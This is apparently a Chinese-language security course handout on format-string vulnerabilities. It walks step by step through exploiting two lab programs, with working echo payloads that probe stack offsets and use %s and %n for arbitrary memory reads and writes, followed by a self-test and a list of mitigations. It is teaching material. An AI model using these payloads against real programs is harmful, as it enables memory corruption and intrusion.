12.3 主实验 qiang.c:先看漏洞形状TARGET

!%5$ 里的 5 是哪来的?

不是算出来的,是试出来的。printf 的参数区紧挨着 main 的栈帧,你的 buf 落在第几个参数位置,取决于编译器、代码、栈布局——换台机器可能就变了。标准手法是先用 AAAA 打标:

echo -e "\x41\x41\x41\x41%p|%p|%p|%p|%p|%p|%p|%p" | ./qiang
# 看哪一格输出 0x41414141 —— 假设是第 5 个 → 以后就用 %5$

12.4 五步走查:从地址到任意写WALKTHROUGH

STEP 0拿到 secret 地址

运行程序,它会先打印 address of secret is at 0xbfffec88。下面用这个地址举例;你的环境很可能不同,必须以程序输出为准。

STEP 1确认能控制参数
echo -e "\x88\xec\xff\xbf%5$p" | ./qiang

如果输出 0xbfffec88,说明你塞进去的地址被原样打印了——参数指针能走到你放地址的那一格。

STEP 2任意读
echo -e "\x88\xec\xff\xbf%5$s" | ./qiang

把地址处的内容当字符串打印 → 读出 111122223333。读和写只差一个字母。

STEP 3任意写(写 4)
echo -e "\x88\xec\xff\xbf%5$n" | ./qiang

地址本身占 4 个字符 → 写入 4。secret 前 4 字节变成 04 00 00 00。

STEP 4写指定值('A' = 65)
echo -e "\x88\xec\xff\xbf%61c%5$n" | ./qiang

4 + 61 = 65 → 写入 0x00000041 → secret 变成 A111223333。

STEP 5把 "1111" 改成 "11A1"
echo -e "\x88\xec\xff\xbf%826356013c%5$n" | ./qiang

"1111" = 31 31 31 31;"11A1" = 31 31 41 31 → 小端 dword = 0x31413131 = 826356017;减去地址占的 4 → n = 826356013。

这条命令会真的输出 8 亿多个字符,课件用它讲数值换算即可,别在实验里等它跑完。真实利用会用 %hhn 分字节写。

12.5 str_fmt_attack.c:一个容易踩的坑PREFIX TRAP

!前缀被算进去了吗?

你的 payload 前面被自动加了 "Invalid Password!!! " 共 20 个字符。所以 %n 写入的值 = 20 + 4(地址)+ n,而不是 4 + n。算 payload 时必须把前缀算进去。

echo 'AAAA%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p' | ./str_fmt_attack   # 先探测偏移
echo $(printf "\x38\xa0\x04\x08")%12$n        | ./str_fmt_attack  # 写入 20 + 4   = 24
echo $(printf "\x38\xa0\x04\x08")%10c%12$n   | ./str_fmt_attack  # 写入 20 + 4 + 10 = 34

这里偏移是 %12$ 不是 %5$——再次说明偏移量一定要自己探。用 echo $(printf ...) 而不是 echo -e,是因为不同 shell 的 -e 行为不一致。

✓实验检查清单

① ASLR 关了吗?② 地址是本次运行打印/确认的吗?③ 偏移 M 是用 AAAA 探的吗?④ 有没有把程序自动加的前缀算进已输出字符数?⑤ payload 地址字节是小端序吗?

RECAP / 12

实战的难点不是公式,而是“现场”:地址每次运行可能变、偏移因编译器和栈布局而异、程序可能偷偷加前缀。所有 payload 都要用当前进程的真实地址和实测偏移来算。

13
13Self Test

8 道题,检验一下

不要求背地址,只要求你能从现象推出下一步。先在心里答,再展开对照;能讲清楚“为什么”,比记住答案更重要。

0 / 8 已展开

输出 20。%2$d 是位置参数,直接取第 2 个参数,跳过第一个。它不改变“从栈上取值”的本质,只是把取第几格写死了。

每个 %s 都从栈上取 4 字节当地址去读内存;栈上大部分值不是合法可读地址 → 段错误。这就是最廉价的 DoS。注意:它也可能先读出一些垃圾数据才崩,不能用“还没崩”判断无害。

%d 是“读 + 打印”,%n 是“写”——它把已输出字符数写进参数所指地址,32 位下一次写 4 字节。它不产生任何屏幕输出,所以更隐蔽。

0x41 = 65,地址本身占 4 个字符,n = 65 − 4 = 61,即 %61c。如果程序还有前缀,要再减去前缀长度。

因为漏洞现场是 printf(user),攻击者只能控制格式串本身,传不了别的参数。而格式串(缓冲区)就在栈上,所以把地址写进格式串 = 把地址放到了栈上,再用 %M$s / %M$n 指过去。

因为 %n 一次写 4 字节,而 foo[3] 后面紧跟着 canary。写 0x00000080 时,后 3 个零字节把 canary[0..2] 冲成了 0。它不是“只写一个字节”。

因为 payload 前面被 snprintf 自动拼上了 "Invalid Password!!! "(20 字符)。写入值 = 20 + 4 + n。算 payload 时必须把这段前缀算进去。

printf("%s", user)(根治);编译器 -Wformat-security -D_FORTIFY_SOURCE=2;运行期 Canary / ASLR / DEP。它们都能被“先泄露再绕过”的思路对抗,所以要叠加使用,不能把缓解当成修复。

✓三句话带走

① 格式串是程序,用户输入是数据。把数据当程序,就有了漏洞。
② 参数不够时 printf 顺着栈取:%x 泄露、%s 任意读、%n 任意写。
③ 写入值由已输出字符数控制。地址占 4 字节,宽度补差额;大数值拆成 %hn / %hhn;偏移 M 必须实测。

END / 13

如果只能记住一件事:不要让孩子(用户输入)拿方向盘(格式串)。技术上这叫“格式串必须是常量”,工程上这叫“数据与代码分离”。